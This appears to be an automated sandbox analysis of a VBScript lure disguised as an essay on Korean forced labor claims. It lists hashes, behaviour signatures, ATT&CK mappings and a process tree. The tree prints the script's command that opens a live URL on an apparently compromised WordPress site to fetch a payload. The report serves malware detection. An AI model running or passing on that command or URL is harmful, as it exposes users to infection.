Resubmissions

20-04-2024 06:42

240420-hgtw9sbe31 8

20-04-2024 06:23

240420-g5gfeabc2y 8

Analysis

  • max time kernel
    259s
  • max time network
    289s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-04-2024 06:42

General

  • Target

    Essay on Resolution of Korean Forced Labor Claims.vbs

  • Size

    27KB

  • MD5

    75ec9f68a5b62705c115db5119a78134

  • SHA1

    6209f948992fd18d4fc6fc6f89d9815369ac8931

  • SHA256

    ec9cc1940fe395867f5bab06016920f7194d753ae8cfa331bea0a44ecc8ef7cf

  • SHA512

    82a0d96640390b8ffdcecd34fc1ae1663c84a299448a5af02b24bf9b9e1fdd19954ceeeea555808a57fcdc452b2b6e598338f11bb0c7101b34934a8ec7bf1780

  • SSDEEP

    384:mrquVS33hr8nIsbSQVwooRmB7+shi14PdSkNk0dRL3K2fJ+QIHBR:mugSBrwIBQVwoI8dSMdBa2fGj

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Essay on Resolution of Korean Forced Labor Claims.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4320
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c explorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3376
      • C:\Windows\explorer.exe
        explorer "https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx"
        3⤵
          PID:2400
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://makeoversalon.net.in/wp-content/plugins/wp-custom-taxonomy-image/iiri/share.docx
        2⤵
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd10d446f8,0x7ffd10d44708,0x7ffd10d44718
          3⤵
            PID:3920
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2040 /prefetch:2
            3⤵
              PID:380
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 /prefetch:3
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4204
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2928 /prefetch:8
              3⤵
                PID:4012
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
                3⤵
                  PID:3040
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                  3⤵
                    PID:736
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 /prefetch:8
                    3⤵
                      PID:3260
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 /prefetch:8
                      3⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2400
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
                      3⤵
                        PID:556
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5352 /prefetch:1
                        3⤵
                          PID:3888
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:1
                          3⤵
                            PID:1292
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3880 /prefetch:1
                            3⤵
                              PID:4008
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2024,2680705665382739579,17287230648230566958,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4856 /prefetch:2
                              3⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:700
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:2996
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:3968

                            Network

                            MITRE ATT&CK Matrix ATT&CK v13

                            Discovery

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            3
                            T1082

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              Filesize

                              152B

                              MD5

                              3d94406b964753cc5222ab1343f54bb1

                              SHA1

                              a5e7de0781fa1fabb3cd89564f2e5693cb4dee16

                              SHA256

                              fd9923a217cd8d2c44a63dbfe52ec262e7c80b1f1e50c6e0f21f8379c90e7762

                              SHA512

                              1ad2c144e7bbd809f400f8782586d3768fc82bcef39db986f766897c344efec77ab2c0b6d9c5ee2019ef5cf9ad0c46bdd25392cbc9dbf9ea80e800577f0fc598

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              Filesize

                              152B

                              MD5

                              49dde89f025a1cce8848473379f7c28f

                              SHA1

                              b405956b33146b2890530e818b6aa74bba3afb88

                              SHA256

                              d6d125ba686b825bb22ab967a346051780cab1f55fc68a2f3efdf3fb5598f96b

                              SHA512

                              53050344674d8886db66e25f42d97bf46b26229972631f857286c2a303897cda58d85ee8ca768bbfb1fc07e52567315ea85d57e39b5b382916700ec389946506

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                              Filesize

                              499B

                              MD5

                              e95520708877b213ed99c2e08c1a9db1

                              SHA1

                              8948fe9ec9ecbe46b0e1856d125a59ad4bbfe640

                              SHA256

                              7c527b497f9fb3e4db82462d5e7a1e495366e9f1183a708c9569ce42650fc691

                              SHA512

                              5440c1f849ae1d5bfe2c83ff186928713a6ed040aebdf0405e4c7f981504705647c93a030ec44bc5a9d2755ae746a77c28661347fbf97a8c64dad32d3a775b08

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                              Filesize

                              5KB

                              MD5

                              fcb85e39a754275e9bf8106eeb88ac58

                              SHA1

                              ce7ba308508a286f36c184de01917041c9e8b347

                              SHA256

                              9391a2126133e9d177c4435056bb2884ba33f1530ee114a492658537beb1cf59

                              SHA512

                              1638400d339f837f20ffb566026bb07a54f328ea3b3360dc0726893e558f32bc566ecce6b6373255635dca38dc48ea8cc48f7fe91f61b695e0df6a58c84050dd

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                              Filesize

                              6KB

                              MD5

                              5e964781288614f24d4f3986ac1f2f63

                              SHA1

                              28b26b06b747678bd22d9199eea36dda3e058838

                              SHA256

                              d69223524f274d22b263b28c2510efb6c2bd796df7e3befb7f085545d1d59ad4

                              SHA512

                              d5cf315cbd0b549eb069f1d077bf895122ec200a55a2f59be074002b6a745f31978ac3569c09a41634338a8ca97da0f275cf43deee8f3d78914394975c1853d5

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                              Filesize

                              24KB

                              MD5

                              7c43199d1e5acf5a31e1cbef990fbc47

                              SHA1

                              df7bd524b9b3175325c0aff3469ea7f2211d3061

                              SHA256

                              52a6fd2a2fff53c738c77a6385e7e1677f8990781699f78c63d5a4b0fe566d22

                              SHA512

                              aae886642b40ffb0676534fd85abe43ab588526b8e952b12a1bcafc73cb05103c76aee4fa32cc18c74af6c59aa1dc84bcda09ebccb7d11adc79fee3bfc93e2d1

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                              Filesize

                              16B

                              MD5

                              6752a1d65b201c13b62ea44016eb221f

                              SHA1

                              58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                              SHA256

                              0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                              SHA512

                              9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                              Filesize

                              11KB

                              MD5

                              fa8f393f2823c003ed490927aead9096

                              SHA1

                              2f383373340e23408bab0a62cd0ae88b62fb6abf

                              SHA256

                              58d6bdfa5e8130e44ff8217db783456296041c832f34f44ad83dfc8783aa1ff2

                              SHA512

                              59995106fbafee26d9a46d7ff28c8c06a18862ea3e8886ce3505fdd7d6ade9938980dd9d4264876a41c6a7de673b9fd9bd80c1da56e3306753077726da262a06

                            • \??\pipe\LOCAL\crashpad_3884_CTFDUIWKJRNLIFUD
                              MD5

                              d41d8cd98f00b204e9800998ecf8427e

                              SHA1

                              da39a3ee5e6b4b0d3255bfef95601890afd80709

                              SHA256

                              e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                              SHA512

                              cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e